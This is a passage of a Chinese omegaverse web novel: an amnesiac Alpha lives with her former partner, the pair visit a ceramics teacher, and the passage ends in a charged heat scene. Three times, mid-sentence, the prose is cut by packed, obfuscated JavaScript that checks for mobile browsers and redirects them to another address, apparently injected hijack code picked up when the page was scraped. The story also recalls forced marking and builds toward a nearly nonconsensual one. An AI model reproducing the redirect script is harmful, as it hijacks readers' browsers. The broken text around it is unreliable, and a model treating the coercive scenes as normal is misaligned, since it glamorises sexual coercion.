脱好鞋,舒晚柠唠叨了会,白了林絮一眼,跑去给舒清柚打下手。 毕竟处理菜都要花上不少时间。 水龙头的水声很大,舒清柚把头发挽起,袖子折到手肘处,露出洁白手臂。 手腕留有隐约的伤疤,像是破坏完美无暇肌肤的污点。 舒晚柠扯着嗓门。 “我可不像某些人啊,坐享其成就是好啊,不理解我们这些自己动手,丰衣足食的乐趣。” 一听就知道是针对林絮的,舒清柚不禁眯了下眼睛,食指碰了碰舒晚柠。 林絮一个鲤鱼打挺,蹦起来。 “喂!舒晚柠!” 没把其他两人吓到,舒绒反而打了个激灵,呜咽着叫了声。 林絮养成条件反射,她迅速柔和地安抚:“对不起啊,绒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325871|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绒,乖乖看书。” 随后大步朝前,一点都不带畏惧和舒晚柠对峙。 “你够了,我都被你打过一顿,还不解气吗?!” 舒晚柠手上还有水珠,她直接甩到林絮脸上:“对,就看你不爽,赖在我家当祖宗。” 抹着脸,林絮气焰上涨,脖颈腺体也悄然发涨,溢出些许花香。 舒晚柠是Beta自然闻不到,但舒清柚却不受控制地腿软了几分,信息素的入侵比想象中还快。 再这般下去,林絮信息素就要失控,她无奈地低喘:“林絮,信息...素。” 舒晚柠优先发觉姐姐状态不对,她瞪着林絮。 “你还是不是人,怎么动不动就发散信息素!” 说着,她就跑开了。 林絮很自觉远离舒清柚,她也要像舒绒一样哭唧唧了,她的腺体毛病什么时候能好啊。 也就一分钟不到的时间,舒晚柠手里拿了张新的抑制贴,递给舒清柚后自觉背过身。 贴好后,舒晚柠视线在姐姐的脖子上过了一圈。 无视掉林絮,继续坐在小板凳上择菜。 “姐,我明天回学校。” 舒清柚顿了下,舒晚柠很懂事,面对不公愤然正义,从没有因为自己是Beta而自卑。 是个坚强、上进的好孩子。 现在她的意思,也是看在林絮要在家住一段时间,而舒晚柠不想天天面对林絮,再正常不过。 舒清柚切好土豆块摆在碗里:“我送你,正巧出门。” “哦,好。” 边上的林絮见舒清柚都可以拿刀了,她缓步上前。 “这些我也可以做。” 舒晚柠臭着一张脸,抓了大把毛豆塞到她手里。 “废话,有手就行,你,择菜,洗菜,还有,剁排骨的事你来干,我姐爱吃糖醋排骨,不要太大快,小一点。” “哦哦,好的。” 太乖了,乖到让舒清柚觉得都是假象,下一秒就会破裂。 林絮一直不敢和舒清柚讲话,勤快又毛手毛脚做好所有事情,只是衣服都在忙活中被水弄湿了。 热腾腾香喷喷的菜上了桌。 糖醋排骨,红烧鱼,砂锅毛豆炖鸡,西红柿蛋汤,油焖小青菜。 以及特地舒绒准备的鸡蛋羹。 失去记忆第一顿正经饭,林絮馋到直咽口水。 “柠柠,你论文没问题吗?” 舒清柚先喂舒绒吃饭,舒绒很听话,妈妈喂多少,她就吃多少。 提起这个舒晚柠就头疼,她揉了下肩膀。 “嗐,论文是没什么,就是有个男A老来骚扰我,拒绝拉黑了,又换小号来加,我想揍他一顿,但要顾及他叔叔是学院院长。” 海城A大,全国综合性排名第一的大学。 舒清柚也是这所学校毕业,只不过专业艺术类,舒晚柠学的是生物技术方面。 舒清柚:“你们院长叫什么?” 舒晚柠随口把名字说出,愤愤不平地咬了口排骨。 而林絮都不好插话,自顾自闷头干饭。 舒晚柠嫌弃林絮,但也骂累了。 “欸,姐你问那院长名字干嘛?” 舒清柚眉梢冷淡,帮女儿擦拭嘴角。 “没什么,你多吃点。” 8. 第 8 章 次日,林絮还想多睡会懒觉,被舒晚柠催促爬起来。 确切地说,她睡了一晚沙发,她身高腿长的,只能蜷着身体,导致睡眠不安稳。 为此,舒晚柠把她赶到车上时,她执意要后座。 舒晚柠无奈地又送给她一记白眼:“姐你干嘛要带上她啊?” 似在埋怨舒清柚这么快就好了伤疤忘了疼。 把舒绒放进安全座椅,舒清柚特地查看林絮的抑制贴,她睡相不好。 早上起床准备早餐时,林絮又释放出信息素,她不得不亲自上手帮她贴好皱巴巴的抑制贴。 然而这没心没肺的林絮都没有清醒的自觉。 抑制贴一月换两次,也就是发热期间,发热后再贴上新的。 目前为止,遇见林絮的短短两天,她已经换了四片抑制贴,濡湿的内裤也一样。 “把她单独放在家里添乱吗?” 舒清柚一笔带过,林絮比女儿还能睡,她喟叹道:“我不是担心她。” 舒晚柠觉得她此地无银三百两,但也少不了毒舌一句:“你不用强调的,说多,就越在乎。” 好吧,多说无益,舒清柚踩下油门。 舒晚柠则回头,好嘛,把舒绒专属小毯子盖在林絮这只大尾巴狼身上。 车内暖气开足,车子路过缓冲带,给车子带来一些颠簸,林絮打了个哈欠,悠然醒来。 她揉揉眼睛,不管是身体还是脑子都还没转过弯,迷茫地看了看四周。 不自觉抓紧毛毯,前座只有舒清柚在开车,舒绒一直在看风景,也没关注过林絮。 “舒晚柠呢?” 舒清柚第一时间就知道林絮醒了,后视镜还能看见她揉着惺忪睡眼的娇憨姿态。 血缘关系很奇妙,这会舒绒也因为数窗外的小鸟,有点累了,揉着眼睛。 果然是亲母女... 神态相差无几。 舒清柚突然有点后悔带林絮出门。 为了舒晚柠能在学校顺利毕业,舒清柚决定去赴约。 “你想她了?” 难得起了逗弄林絮的心思。 舒清柚不可否认,林絮皮相很优越,下颌流畅,鼻子生的秀美, 面上不施粉黛,皮肤也白里透红粉嫩,要不是林絮性情无常,或许她真会上手捏一把她的脸蛋。 只是,现在林絮虽说性格转变,是好事,可是,她真的不想再有一个唠叨妹妹。 林絮想到舒晚柠对她刻薄的嘴脸,她只想和她一决高下,或者躲在舒清柚身后。 “啊啊啊,好可怕啊,你怎么会说这种话?我会想她?就算世界毁灭要登录诺亚方舟才能活,我宁愿淹没也不和她待一块,她都把我赶到沙发上睡了,好坏的。” 林絮等了几秒:“你要把我带去哪啊?” 舒清柚没想到她反应这般激烈,有点好玩,嘴角不禁勾起一个小小的弧度。 “我大学导师说需要人体实验,所以我打算把你卖给她。” 这可把林絮糊弄傻了,她愣头青似的发问,心里忐忑不已:“你,把我卖掉,能赚多少钱?” 原来这才是重点吗? 舒清柚见林絮虽然眉毛都快皱成一道小山峰,但眼底闪烁真诚。 舒清柚话中含笑:“蛮可观的。” 闻言,林絮掰掰手指头,咬住下唇,拧巴地抓着车椅座位,嗓音压着浓重的委屈。 “舒姐姐,你不要我了。” 舒清柚轻蹙眉梢,白玉般的指尖在方向盘上敲了一下,又一下。 良久,她说:“你本来也只是在我家暂住。” 时间分秒过去,林絮想多唠几句,奈何舒清柚专心开车中。 林絮开始相信舒清柚那套把她卖掉的言论。 整个人像霜打的茄子,蔫蔫地垂头不语。 直到她们来到一片葳蕤繁茂的半山腰,林絮心有所感,沉闷道:“就是这吗?” 舒清柚将车停到指定车位,抱起满脸好奇又害怕陌生人的舒绒。 抬头望去,山风从大片林间穿过,四面八方的山林围住中央一幢奢华的豪宅。 佣人各司其职,迎上来一位衣冠得体的管家,邀请她们进屋和夫人一叙。 管家的西服领结都是按照欧洲的标准来统一。 看到林絮时反倒顿了下,随即又恢复专业的接客待人正式的模样。 林絮有点扭捏,为什么舒清柚穿着落落大方,长发柔柔地铺在脑后。 大衣里套着肉桂色法式针织衫,深咖棉毛呢半裙遮住小腿和短靴最上边,衬得舒清柚的气质灵动又婉约。 林絮努努嘴,舒清柚本来就已经够漂亮了,脖颈间还系着条精致银项链。 项链在光线下微微反光,比起她,林絮穿的可谓是惨不忍睹。 无她,只有一身休闲运动服,扎了个马尾,再来双朴实无华的空军一号运动鞋。 像是来这里参加晨间活动的。 可惜,她还是被领进了门,等待被舒清柚卖掉。 管家安排佣人带路。 “夫人在前边,舒女士请注意脚下。” 进去以后别用洞天,里面是人工锻造假山木桥,鹅卵石铺就的地面。 耳边回响潺潺流水声,林絮她们经过一处水榭亭台,还要再走一段路,两边竹林随风沙沙作响。 空气清新,林絮心胸坦荡不起来,舒清柚和舒绒两人安安静静不说一句多余的废话。 只是佣人会拿出对讲机和谁交代说人马上来。 舒清柚远远望去,一位中年女性头发随意束在头顶。 穿着紧身深色工作服,跟前机器声发出轻微嗡鸣,她双手贴着长泥条粘土,在机器上有条不紊地拉坯。 老师越泱是中日混血,Omega,在日本出生,长大一些接触东方陶瓷,爱上这门美学艺术,并从中悟出茶道哲学。 对于色釉和陶土颇为讲究,来A大当陶瓷专业老师时,经常不远万里去各个城市研究土壤。 舒绒看到转来转去的土团子眼睛亮了下,她也想玩泥巴,可在妈妈的怀里不好乱动。 双手环住妈妈的脖子,撒娇。 但舒绒只能发出哼唧的小奶音。 舒清柚拍拍她的后背:“乖。” 随后佣人带她们来到一处榻榻米静室,脱下鞋,来到室内,在蒲团坐下。 林絮也奇怪自己为什么很自然就跪坐在蒲团中,她闻到股焚香,使人心安。 舒清柚记得这是老师喜欢的香。 不禁想起当学生期间,老师没少夸奖舒清柚有潜能,并用自己的钱买下舒清柚的一件作品。 作品名‘旷野’,实际上是一个弯曲的茶壶,三种釉料叠加,机缘巧合下烧出层次分明的抽象空间感。 而这件作品正明晃晃摆在架子格间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325872|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 舒清柚眼眸沉寂几分,几个呼吸后,她移开视线。 闭上眼睛,她偶尔会做的事情,这几年学会的,冥想。 可林絮哪能静下来,本来就虫鸣不绝于耳。 她凑近舒清柚,舒清柚柔美的脸庞映在几缕阳光中。 脸上白软的细毛轻微摇晃。 旁边的舒绒看似很乖,实际上林絮明白,这小妮子肯定想出去玩,但又胆小如鼠,只能眨巴眼睛发呆。 好可怜啊,这么小的孩子就被舒清柚带来折磨,她心念一动。 故作咳嗽一下,舒清柚不为所动,林絮长呼口气,扯了下舒绒的衣服。 舒绒抿嘴侧身,林絮狡黠笑了笑,趁着舒绒没注意,把她抱了起来。 受到惊吓的舒绒猛地不知该如何是好,不停在林絮怀里挣扎,林絮不如她所愿,一把捂住她的嘴。 开玩笑道:“嘿嘿,再挣扎,我就把你卖掉哦。” 舒绒一颗心砰砰乱跳,很快林絮就感觉到手上黏黏湿湿的。 “欸,不是,怎么又哭了,我说假的,你等会哦...” 林絮加快速度跑到那做陶艺的师傅那,越泱左手放在坯圆心内部,拇指食指弯曲向里施压足够的力来拉黏土。 “你看嘛,绒绒,我来带你玩泥巴了。” 果然,舒绒不哭了,她确实想捏泥巴,平常妈妈都不许她和别的小孩玩。 别的小孩都是脏兮兮的,她很干净,但是她不开心。 进入心流状态的越泱不喜欢被打扰,更别提还有小孩子嚷嚷着要玩泥巴。 她一抬头,有点眼熟,在她们的圈子里,基本上都认识她,宴会上见过一次。 但和她印象中位高权重的Alpha出入有些大,手上抱着的小女孩哭成小花猫了,林絮一直耐心安慰。 越泱不确定:“你是...林絮?” “啊?师傅你认识我?” 越泱起身,关掉拉坯机,莫非认错人? 师傅... 越泱旋即反应过来,“你和清柚一道来的?” 林絮点点头,她和舒绒都有点失望,怎么把机器关掉了,那还怎么玩泥巴。 应该是去洗手了,林絮抱着舒绒在原地等待,没把人等着,倒是佣人领她们回去。 林絮迈开腿,但舒绒却紧紧抓住她的衣领。 “嗯?”马上领悟到舒绒的意思,“稍等片刻~” 越泱从静室边侧室出来,换了套轻便衣服,绕过屏风。 舒清柚屏气凝神,双目微阖。 自从舒清柚出院后,对陶艺也失去以往热情。 她知晓舒清柚的难处,提出帮忙,也得到意料之内的委婉拒绝。 三年未见,此番,这孩子也看到了她将她的作品放在最显眼的位置。 意思再明显不过,她希望舒清柚能重拾理想,毕竟这么多年来最具天赋的学生。 舒清柚现在五感很清晰,听见老师在她后方停住。 早在林絮自以为是瞒着她把舒绒带走,她开始静不下心。 如果当初没有那般窘迫不堪,没有那般疲于奔命。 林絮可以对她稍微好一点,只需要给她一丁点温暖,她也可在寒冷黑暗中当救命火花。 也不至于狠心拒绝妹妹的关怀。 不理会导师的中肯建议。 对于朋友的援手,她冷漠以待。 9. 第 9 章 扑簌黄叶落在林絮的肩头,她正单手抱着只小白团子往回走。 而小白团子舒绒,干净的手心因为泥巴团子变得脏兮兮,她很努力不蹭到妈妈帮她穿的小棉袄上。 茶室里两人寒暄几句,不再多言,这会佣人已将茶具相关备齐,再将茶杯茶托翻转。 林絮快到门口时,发现舒清柚和那陶艺师傅脊背笔直地坐在垫子上,也没在聊天。 气氛好像有点凝重啊,林絮摸摸鼻头,她望而却步,不好上前打扰。 附在舒绒小脸边上轻轻交待。 “等会我们再去找你妈妈,你别走远,在我旁边玩泥巴,乖乖的。” 舒绒眨巴着圆眼睛,林絮就当她赞同了,悄悄躲在一边静候。 得亏四下无人,不然以她这种偷窥操作,林絮自己也会做贼心虚。 越泱面带微笑,一如既往闲寂气质,舒清柚知道,老师在考验她。 她从茶则舀出部分茶叶,绿叶红镶边,色泽鲜活,明显的白毫特征。 越泱:“一叶二心,露将尽之际摘下的。” 言外之意,昨天晚上舒清柚应允老师的邀约,老师便特地招待。 说实话,她有点受宠若惊。 舒清柚谦虚地微微颔首:“老师,许久未泡茶,还望老师海涵。” 说话间,几缕青丝柔和地垂落脸庞,舒清柚挽紧长发,袖口堆叠在雪白腕部。 室内静谧无声,随着舒清柚一系列动作下来,蒸汽上升,清澈茶水入光泽水杯,带着些许果香。 而盛茶的杯子,不偏绿也不至于灰,用细小支钉支撑烧制出纯净感,鱼鳞开片纹在光照下熠熠生辉。 舒清柚在心底感慨,汝窑天青釉,又是一件纪念物,况且这还是和林絮在一起那年烧制的同批茶盏。 还有一只被林絮拿了去,没这只完美,她猜测,以林絮瞧不上她的态度,大约是摔在某个垃圾堆。 越泱:“不错。” 仅两字,舒清柚注意到老师的似有若无审判的眼神缓和不少,按照品评的级别来讲,她做的也只能是差强人意。 好在老师并不介意,舒清柚不由地放松双肩。 “老师过奖了。” 舒清柚就着雾气,沿盏边呷了口茶,她眯了下眼睛,确实好茶。 越泱也不是爱打马虎眼的,有话直说。 “茶和杯关系密不可分,你很聪明,想必我的意思你也明白。” 刚松懈的身子这会又一僵,现在真不是个好时机,她想,偏偏林絮还回来了。 真是哪壶不开提哪壶,舒清柚正要和老师解释,一个声音响彻天际。 “啊啊啊!你把我衣服都弄脏了!” 舒清柚眉尖蹙起,她不清楚林絮又在做什么妖,但她毕竟带着舒绒,她略微向老师欠身,说了句去去就来。 越泱不紧不慢取了个杯子,斟满茶水。 有点,以大欺小了。 舒清柚见到的就是这幅场景,林絮拿着纸巾在衣服上又揉又搓,不时掀眼对着舒绒咕哝。 而舒绒无辜地缩着脖子,林絮抱怨出来一趟都没衣服穿了,舒绒吸着鼻子,两只小短腿被吓到不敢动。 地上残有一滩被扔下的黏土。 舒清柚蹲下身,在女儿头上揉了两下,轻言细语:“不哭了,绒绒不是故意的对不对?” 舒绒点着脑袋,都怪地上的石头,她差点被绊倒,才把脏手糊在大姐姐身上。 不懂为什么这大姐姐那么在意这些,两个人一起沾上泥巴多好玩呀。 林絮这会立刻像哑火的炮弹,人家妈来了,她再有埋怨的话语,也都憋进肚子里了。 看向舒清柚,凑巧对上她如冰的眸子。 林絮的心脏忽地收紧,好不容易才张嘴:“我不是有意骂她的,对不起。” 这么大的人还和三岁小孩斤斤计较,舒清柚摇摇头,抱起舒绒带她洗好手。 回来后,林絮呆头呆脑地杵着,仿佛在等待来自舒清柚的某种审判。 舒清柚一手牵着舒绒,让林絮脱下外套。 “进去吧,老在别人门口晃,不知道的还以为你来偷东西的。” “哦,哦...我可没那个想法。” 说着,林絮的脏外衣搭在舒清柚手臂上,那位陶艺师傅递给她一个微笑。 林絮又联想起舒清柚说要把她卖掉这回事。 有点紧张和害怕,她坐在师傅对面,拘谨四肢肌肉紧绷。 舒清柚整理好一切,把舒绒抱在腿上,舒绒摆过头,不想面对林絮。 “喝茶。” 听到舒清柚指挥,林絮才端起茶杯,也觉得有些口干舌燥,入牛饮水,一秒干光。 “渴了就多喝点。” 越泱笑着给林絮倒茶。 “谢谢师傅啦,这茶很好喝呢。” “那就好,清柚泡的。” 没想到她还会这项技能,林絮惊叹的表情展露出来,桃花眼弯弯的,风情地朝舒清柚笑了下。 “舒姐姐好棒!以后你也教我泡茶好不好?” 舒清柚心下有些异样,林絮这不拘小节不懂事的样子和大孩子没区别。 她耳尖染上热意,不自在道:“别闹。” 越泱看在眼里,会心微笑,用更温和的语气问舒绒:“你喜欢玩泥巴吗?” 舒绒只会点头和摇头,她本来喜欢的,但是大姐姐骂她笨手笨脚,她撇撇嘴,缩到妈妈怀里。 揉了下女儿的脑袋,舒清柚对越泱露出一个抱歉的笑容:“老师别见怪,绒绒很少出门,怕生。” 越泱顺势说:“一回生二回熟,以后你要常来啊,清柚,还记得你毕业后,我们去日本参展么?” 那时日本举行的全球陶瓷展,舒清柚的思绪一下被召回四年前,老师破天荒地用了学生的,也就是她的作品展示。 再之后有位日本陶艺家想见见舒清柚,大约也存了些收徒的意思。 在舒清柚纠结矛盾之际,家里却传来惊天噩耗,母亲车祸身亡。 思及此,舒清柚心揪了起来,事到如今,肇事司机依然不知所踪。 接下来即是接踵而来的连锁反应,公司最大项目断了现金流,银行咄咄逼人。 客户接二连三和她们解约,不得已公司宣告破产。 舒清柚回过神:“老师,没记错的话,那位是八神老师。” 越泱没反应,许是默认了,舒清柚缓道:“过段时间吧,老师,我目前难以抽身,不好意思。” 似是料到舒清柚的回复,越泱喝着茶,平静道:“没关系,见一面也是蛮好的,那你这次来,就只是来看看我?”。 舒清柚点头,酝酿了会说辞,告诉老师自家妹妹遇到的难处。 对于越泱,左右不过一句话的事,只是她有意留舒清 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短短一句话,越泱难得皱了下眉。 正如舒清柚担忧的,自从林氏老太太重病住院,集团那边都乱成一锅粥了。 她们越家公司和林氏合作不多,可就算是外人也再清楚不过,失忆的林絮就像个定时炸弹,不知多少人对继承人的位置虎视眈眈。 “放心,她的行踪我会派人掩饰,至于内部情况,我尽量打探风声。” 老师待她这般好,舒清柚感激,却免不了心怀歉意。 见她有些为难,越泱善解人意道:“既然想谢谢老师,那你们就赏脸来吃饭吧,别说你和林总在一起了,看不起老师的家常便饭咯。” 提及林絮,舒清柚脸色稍微发烫,虽说和林絮关系也就这样了,可也不好拂老师的面子。 “那我们又要多叨扰老师了。” 不晓得舒姐姐她们谈好了没,林絮都开始想念舒姐姐了。 她也是刚才了解原来那陶艺师傅是这家豪宅主人。 唉,好在这越老师心胸宽广,不介意自己一直喊她师傅这称谓,多少有点不礼貌了。 她感到手指被摇了摇,低头对上一双明亮的大眼睛。 林絮有点不好意思,都快忘记了。 “姐姐这就给你讲故事,我想想啊,小红帽吧,感觉很适合你这样的小孩听。” 天色渐暗,舒清柚和老师相谈甚欢,直到舒绒跌跌撞撞跑到舒清柚身边,用力攥紧妈妈的长裙。 舒绒红着眼睛,指了指在后面慢悠悠晃来的林絮。 这阵势,如果不是在老师面前,她都想扶额叹气。 待林絮站定,舒清柚耐着性子:“到底怎么了?” 林絮勾起嘴角,有点小得意,话里止不住的笑意。 “我给她讲了狼外婆的故事,我真好。” “哪里好?” “这样她以后就会提高警惕心,不容易上当受骗,舒姐姐快夸我嘛~” 林絮也不顾在场其她两双眼睛,不由自主就撒起娇来。 融洽的氛围一瞬间沉默无比。 舒清柚的太阳穴发疼。 以前林絮只会惹她心伤,现如今看来,逼她气闷的手段,也是层出不穷。 10. 第 10 章 林絮自作主张的行为并没有得到包容,更别提想象中的夸奖。 她成功收获了舒清柚一记长久的沉默。 这是妥妥的冷暴力,林絮无法接受,脾气蹭地冒上来,她责怪舒清柚。 “你怎么就生气了,我哪做错了你说,解释是会要你命吗?!” 失忆的林絮当然没有注意到,她怒火上来时,即使没有释放出顶级信息素威压,就气势而言,也会给她人造成不小的生理压力。 以至于越泱也能很快察觉,空气里都涌动着不安的分子。 或许她应该先行离开,留给这小两口吵架空间? 舒清柚仍旧不语,眼底流露一丝转瞬即逝的哀伤。 她从小性格偏软,由于经常感冒发烧,心境需要更多修身养性,自然养成了不与人争执的习惯。 也正是她以前的软弱,和林絮相处期间,她难以拒绝她的种种过分要求。 很多回忆不能细想,深入过多,无非就是在陈旧伤疤多一份心伤。 她转身,敛下情绪,恢复了往常神态,和老师继续未完的话题。 林絮一开始像被踩到尾巴的猫咪,没有人帮她顺毛,能反复无常咄咄逼人。 现在她结结实实吃了个闭门羹,不管是好的坏的心情都通通跌到谷底。 局势很不妙,林絮有点不知所措,突然灵光一闪,大的不好对付,就从小的入手。 她蹲着和舒绒齐平,摇了下舒绒的手指。 “我错了,对不起,我再也不和你讲坏坏的故事了,我还有公主屠恶龙的故事,超级带感的,你感兴趣吗?” 舒绒张了张嘴,若有所思,以前妈妈只和她讲过公主骑士幸福在一起,屠龙是什么? 她脸蛋就像个白白小包子,鼓起来时更可爱了。 有戏! 林絮快马加鞭诱惑。 “大姐姐还给你买甜甜的零食,什么糖都行,软的硬的方的圆的小动图案的,对了,你问问你妈妈能不能吃呀?” 一听到糖有这么多品种,舒绒不可抑制地心动了。 她犹豫了几秒,在林絮肯定鼓励的目光中,她用脑袋轻轻撞了撞妈妈的手臂。 舒清柚无奈又头疼,她又不是小孩,哄个几句就能消气? 还用女儿来利诱,舒清柚不予理会。 “老师,听方才描述,您太太特地从欧洲拍回一件陶器,学生能否有幸一观?” 在旁看好戏的越泱早就在心底乐了有一会,碍于面子,装作什么都没发生,笑着应允。 怎么还是老样子,林絮再也矜持不下去了,她急切地抱住舒绒,反将一军。 “舒姐姐,你可不能虐待孩子,她还这么小,正是嘴馋的岁数,你不给她买糖,你不配当她妈妈。” “绒绒你好可怜啊,妈不疼母不爱的,告诉姐姐你想吃什么,我全包了!” 林絮自认发挥超常,兴致上头。 “舒姐姐你好歹吱一声啊,不知道的还以为你哑巴呢。” 是如何做到每个点精准踩她的雷区,舒清柚眉眼稍垂。 被抱紧的舒绒已经完全听不懂大姐姐在说什么了。 妈妈为什么要看着自己?妈妈说姐姐不是坏人,那是不是她要听姐姐的话? 舒绒怔怔地转了下眼珠子,嘴巴微微打开,喉咙上下咕涌,发出怯懦短促的声响。 “吱。” 在场三位成年人:…… 真好,弄巧成拙,林絮尬到满头黑线,嘴角抽搐好几下。 沉默持续到了用好晚餐,告别老师后,舒清柚不仅负责开车,还要分心看好林絮这大孩子。 林絮刚用餐还算得体,也因她餐桌礼仪自小刻在骨子里,用起银制餐刀十分顺手,不论是食物切割的形状,以及她的坐姿,堪称西式礼仪模范。 渐渐地,一杯接着一杯红酒下肚,林絮的情况有点失控。 她趴在桌上,手伸到鎏银烛火边,胡胡咧咧地喊着:看我表演掐灭火焰的技术! 侍者手忙脚乱前来阻止,林絮力气不小,何况还是醉酒的,她乱来一气,差点没和人打起来。 场面简直混乱不堪。 舒清柚只得满怀愧意向老师道歉,好在老师肚量大,还询问她们要不要住一晚。 当然,舒清柚不放心林絮在老师家添更大麻烦,选择开车回家。 车内灯光昏黄,窗外来回车辆前照白光偶尔划过,明暗交接间,将她沉静凤眸映地犹如冬夜冰寂的降雪。 林絮晕乎乎的,一滩烂泥似的倒在副驾驶,毕竟为了安全也不能把她和女儿放一块。 即使没开暖气,舒清柚也有点热,身子也不如平常百分百受控,额头冒了些细密的汗珠。 呼吸必须刻意调整频率,才不至于喘出声。 最难堪的是腺体和腺口,这两处隐隐肿胀。 舒清柚不敢按压脖颈抑制贴,这种时候,一个多余小动作,也会造成不可预估的影响。 她眉梢紧蹙,发/情期,竟然提前了一周,很明显能闻到橙香味的泄露。 再不快点,这气味恐怕要将整个车覆盖。 舒清柚声音低沉,夹了丝不易察觉的颤抖:“绒绒,妈妈开会窗,你把小毯子披上好不好?” 趁现在信息素量轻微,郊区人也少,只要车子时速够快,多少能散去一些。 舒绒没分化,什么也闻不到,她裹在毛毯里,冷冽的风呼啦啦地刮在她头顶。 清醒大半的舒清柚看了眼后视镜,林絮被寒风一吹,眼睛半睁不睁,咕哝抱怨了几句,紧皱眉头抱起双臂继续睡。 半小时后,舒清柚快到家,她提前关紧车窗,强忍着源源不断体内带来的燥意,将舒绒带到客厅,给她放动画片。 舒清柚说话时也显得无比虚弱。 “看累了就在沙发上睡,妈妈待会抱你去洗香香。” 舒绒开心不已,露出大大的笑容,平常妈妈晚上都不许她看动画片的,她盯着电视机不亦乐乎。 舒清柚忍耐太久,一回到家,双腿软成难以正常走动。 其间泛滥成灾。 日常熟悉的家居在眼底模糊不清。 她必须扶住墙,只是不再压住呼吸。 “嗯……” 她混混沌沌地想,以后一定要在车上备好抑制剂,是她太大意,自从有了舒绒,她对这些反倒疏忽了。 林絮突然到访, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325874|167612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她低估了林絮的影响力,不该放松戒备的。 抑制剂,在哪,在哪,在哪……? 她好不容易缓步挪到床边,在抽屉里翻找了一遍又一遍。 “你在找什么?” 沙哑的声音猛地在身后响起,舒清柚不由地浑身一颤。 她曾在几百个日夜听过这魔鬼般的低语。 林絮惯爱用这副嗓音,取代了冷静自持时的漠然。 情动之时,强要她时,仗着她是顶级A,林絮总肆无忌惮,不断啃咬她的腺体和腺口。 舒清柚不免回想起洗标记时深入骨髓的疼。 比起那时已经被林絮标记后易qing/动的身体,至少,她现在还能保持最后的理智。 但即便如此,处在发热高峰期的她,对于林絮的丁点信息素,她不得不感到溃败。 明明林絮在车上休息,怎么会?舒清柚眼底清明不再,轻轻低喘着。 紫苑花香很淡,可如果是发热状态下,舒清柚都会觉得自己被林絮散发浓重的花香困住,像一张丝网,密密麻麻将她锁牢。 她头昏脑涨,勉强地摇摇头。 “没,没找什么。” 林絮还有点迷糊,她喝太多酒了,好像还在吃饭的时候撒酒疯? 要命!她一醒来就发现自己孤零零地,被舒清柚扔在车上。 四下张望,外面黑漆漆的,怎么房间里的灯也没多亮。 不会出什么事了吧,她想了想,还是在舒清柚面前反省好了。 一进去,舒绒目不转睛看动画片,对林絮的到来视若无睹。 一下就发现舒清柚半跪的身影,好像在忙活找东西,林絮不好意思声张。 就是不知道舒清柚跑到客房里干嘛,还不开灯,难不成今晚她还不能睡床啊。 没找什么? 林絮才不信,她靠近舒清柚,将手搭在她肩上,呼吸打在舒清柚耳畔。 “舒姐姐,我来帮你找。” 舒清柚肩膀倏地绷紧,林絮独有的花香伴随她吐息的酒气,反倒酝酿成一种难以言喻的蛊惑之意。 新一轮的热度从耳尖蔓延到耳根,红到快要滴血。 舒清柚在手臂上拧了一把,恢复些许说话逻辑。 “没关系,你先,嗯…出去…” “怎么,你生病了?” 真的很不对劲啊,林絮为了观察仔细,借着月光,离舒清柚更近。 “我带你回房休息吧,舒姐姐,这里是我睡的床。” 她尽量保持耐心,尾音低柔。 没想到她刚碰到舒清柚清瘦的背脊,舒清柚整个人完完全全瘫软在地,只能堪堪攀紧床边被褥。 “啊…” 舒清柚柔顺长发垂落在胸前,半掩映着炙热的脸庞,清晖月色,她眼尾泛起薄红。 水雾覆盖暗沉眼眸,变得朦胧不清。 舒清柚不由自主嗔怪地看向林絮,林絮惊讶不已。 很快,舒清柚发觉情况不妙,她立即敛眉,再度摇头拒绝。 不是第一次经历了,林絮心跳剧烈,舒姐姐好美,美到令她窒息。 而舒姐姐眼尾那颗棕色小痣,愈发令她垂涎欲滴。 11. 第 11 章 深知腺体不正常,信息素肯定影响到舒姐姐了,林絮心跳还是好快,快到让她几近晕厥。 腹部涌过阵阵暖流,她止不住地大口喘气,边喘边咽口水。 她太渴了,空气的味道是甜的,甜味浸入唇舌,意犹未尽般,她又重重吸了一口。 齿间的标记牙蠢蠢欲动,林絮磨着标记牙,目光准确无误攫紧床边脆弱的美人。 身上猛如龙卷风过境的热,她清楚,这是信息素以两人都无法控制的方式,纠缠不休了。 林絮低喘了声,眸中闪动浓厚yu/念,伴有醉酒后的红血丝。 墨染的黑云吹散,秋夜静寥,月光洒落在舒清柚轻颤的肩膀,白腻如瓷。 她发狠咬住唇瓣。 哪怕血腥弥漫,却依然被林絮专属花香霸道无比地融合。 好比咬住猎物的野兽,兽息久久囿于齿尖。 眼前绵软的Omega即将被标记,只要融入了她的信息素,她就完完全全属于她。 标记她!快! 林絮心底猛然冒出这个想法,给她自己吓了一大跳。 